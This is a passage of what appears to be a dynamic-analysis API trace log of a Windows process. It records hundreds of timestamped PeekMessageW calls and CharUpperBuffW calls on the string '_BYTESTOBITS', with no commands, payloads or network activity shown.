lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.127] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.128] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.128] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.128] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.128] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.128] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.128] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.128] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.128] PeekMessageW (in: lpMsg=0xd72f04f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f120) returned 0 [0050.128] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.128] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.128] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.129] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.129] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.129] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.129] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.129] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.129] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.129] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.129] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.129] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.129] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.130] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.130] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.130] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.130] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.130] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.130] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.130] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.130] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.130] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.131] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.131] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.131] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.131] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.131] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.131] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.131] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.131] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.131] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.131] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.132] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.132] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.132] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.132] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.132] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.132] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.132] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.132] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.132] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.133] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.133] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.133] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.133] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.133] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.133] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.133] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.133] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.133] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.133] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.134] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.134] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.134] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.134] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.134] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.134] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.134] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.134] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.134] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.134] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.135] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.135] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.135] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.135] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.135] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.135] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.136] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.136] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.136] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.137] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.137] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.137] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.137] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.137] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.137] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.137] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.138] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.138] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.138] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.138] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.138] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.138] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.138] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.138] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.138] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.138] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.139] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.140] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.140] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.140] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.140] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.140] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.140] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.140] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.140] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.140] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.141] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.141] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.141] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.141] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.141] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.141] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.141] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.141] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.141] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.142] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.142] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.142] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.142] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.142] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.142] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.142] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.142] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.142] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.142] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.143] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.143] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.143] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.143] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.143] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.143] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.143] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.143] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.143] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.143] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.144] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.144] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.144] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.144] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.144] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.144] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.144] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.144] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.145] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.145] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.145] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.145] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.145] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.145] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.145] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.146] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.146] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.146] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.146] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.146] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.146] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.146] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.146] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.146] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.147] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.147] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.147] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.147] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.147] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.147] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.147] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.147] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.147] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.148] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.148] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.148] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.148] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.148] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.148] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.148] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.148] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.148] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.148] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.149] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.149] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.149] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.149] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.149] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.149] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.149] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.149] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.150] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.150] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.150] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.150] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.150] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.150] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.150] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.150] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.150] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.150] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.151] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.151] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.151] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.151] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.151] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.151] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.151] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0050.151] CharUpperBuffW (in: lpsz="_BYTESTOBITS", 